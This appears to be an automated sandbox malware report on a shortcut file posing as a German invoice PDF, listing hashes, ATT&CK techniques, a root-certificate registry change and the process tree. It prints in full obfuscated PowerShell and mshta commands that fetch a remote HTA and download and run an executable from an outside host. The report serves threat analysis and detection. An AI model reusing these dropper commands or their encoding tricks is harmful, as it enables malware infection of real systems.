33d66ffd2c60f60632bb104b22fb631bfc72c88f095f0d24f476aa5e1faa1729

General

Target
Rechnung_2024_0092.pdf.lnk
Size 3KB
Sample241114-tlj4ea1ekf
SHA256 0d6049a23bc24a385997c0514ffc22a9c0c9ba681d1cac2f6cb5013bafeefe4f
MD5 001c1231f099ae2188df58798c2c32cf
SHA1 6e8394a04aa35551437d91910c787bf2165c175b
SHA512 b46b0ed51706e68a7b2e1d3609caaa2bc45676cb876c9ca72c51d9e34d2e5821dba256378950b3dc678d44c0cbfe14a6f599c66fb6843a34c76f7e258959e2c9
MD5 SHA1 SHA512

Score

10^/10

execution

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://pub-5b9223b1b9e74a70be22a0816a8b7ead.r2.dev/123.hta

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	2924	mshta.exe
7	2924	mshta.exe
8	2440	powershell.exe

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1668	powershell.exe
2440	powershell.exe
2440	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	mshta.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1668	powershell.exe
2440	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeDebugPrivilege	2440	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2552 wrote to memory of 1668	2552	cmd.exe	31
PID 2552 wrote to memory of 1668	2552	cmd.exe	31
PID 2552 wrote to memory of 1668	2552	cmd.exe	31
PID 1668 wrote to memory of 2924	1668	powershell.exe	32
PID 1668 wrote to memory of 2924	1668	powershell.exe	32
PID 1668 wrote to memory of 2924	1668	powershell.exe	32
PID 2924 wrote to memory of 2440	2924	mshta.exe	35
PID 2924 wrote to memory of 2440	2924	mshta.exe	35
PID 2924 wrote to memory of 2440	2924	mshta.exe	35

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Rechnung_2024_0092.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $a='48aAs.69edS3b/:15u2vtmrpL0-7h'; &(-join($a[(-648+652),(169-167),(990-966)])) ^[ (-join($a[(-648+652),(169-167),(990-966)])); ^[ /# (-join($a[(-476+497),(-648+652),(-158+186),(-824+844),(169-167)])); foreach($z in @((-105+133),(-426+446),(575-555),(173-150),(-217+221),(-509+523),(524-511),(711-698),(210-187),(-471+488),(-724+736),(-668+694),(-606+622),(-351+363),(906-899),(-719+737),(899-881),(166-155),(387-375),(-188+203),(-604+616),(783-776),(-378+386),(775-748),(660-660),(995-993),(803-776),(-863+888),(-920+932),(333-325),(994-976),(559-541),(700-698),(835-810),(-958+959),(425-410),(-411+417),(686-684),(-963+964),(569-557),(934-907),(861-853),(-724+726),(950-941),(494-489),(-470+492),(-789+807),(805-800),(-232+241),(-603+611),(1008-989),(-242+255),(-653+668),(-705+723),(580-569),(-536+541),(986-958),(736-716),(-368+370))){$m+=$a[$z]}; /# $m;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1668
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://pub-5b9223b1b9e74a70be22a0816a8b7ead.r2.dev/123.hta
    3⤵
    - Blocklisted process makes network request
    - Modifies system certificate store
    - Suspicious use of WriteProcessMemory
    PID:2924
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function hQzEzFacg($guorUJ, $OIoEigYq){[IO.File]::WriteAllBytes($guorUJ, $OIoEigYq)};function uuuOHRemK($guorUJ){if($guorUJ.EndsWith((ijnaJnaV @(5036,5090,5098,5098))) -eq $True){Start-Process (ijnaJnaV @(5104,5107,5100,5090,5098,5098,5041,5040,5036,5091,5110,5091)) $guorUJ}else{Start-Process $guorUJ}};function xlptFHdqR($FSYzd){$EBqZdo = New-Object (ijnaJnaV @(5068,5091,5106,5036,5077,5091,5088,5057,5098,5095,5091,5100,5106));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$OIoEigYq = $EBqZdo.DownloadData($FSYzd);return $OIoEigYq};function ijnaJnaV($UxikGUX){$MKUYRJP=4990;$VRwScE=$Null;foreach($NymBWJi in $UxikGUX){$VRwScE+=[char]($NymBWJi-$MKUYRJP)};return $VRwScE};function TQiKbyGz(){$vXhNEzkB = $env:APPDATA + '\';$WRrNymqB = xlptFHdqR (ijnaJnaV @(5094,5106,5106,5102,5105,5048,5037,5037,5102,5107,5088,5035,5043,5088,5047,5040,5040,5041,5088,5039,5088,5047,5091,5045,5042,5087,5045,5038,5088,5091,5040,5040,5087,5038,5046,5039,5044,5087,5046,5088,5045,5091,5087,5090,5036,5104,5040,5036,5090,5091,5108,5037,5059,5078,5056,5072,5072,5076,5071,5074,5036,5091,5110,5091));$AvKehPB = $vXhNEzkB + 'EXBRRVQT.exe';hQzEzFacg $AvKehPB $WRrNymqB;uuuOHRemK $AvKehPB;;;;}TQiKbyGz;
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2440

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Subvert Trust Controls

1

T1553

Install Root Certificate

1

T1553.004

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1668-38-0x000007FEF5C0E000-0x000007FEF5C0F000-memory.dmp

Download

memory/1668-39-0x000000001B7A0000-0x000000001BA82000-memory.dmp

Download

memory/1668-40-0x0000000001D80000-0x0000000001D88000-memory.dmp

Download

memory/1668-41-0x000007FEF5950000-0x000007FEF62ED000-memory.dmp

Download

memory/1668-43-0x000007FEF5950000-0x000007FEF62ED000-memory.dmp

Download

memory/1668-42-0x000007FEF5950000-0x000007FEF62ED000-memory.dmp

Download

memory/1668-44-0x000007FEF5950000-0x000007FEF62ED000-memory.dmp

Download

memory/2440-60-0x000000001B760000-0x000000001BA42000-memory.dmp

Download

memory/2440-61-0x0000000001FE0000-0x0000000001FE8000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads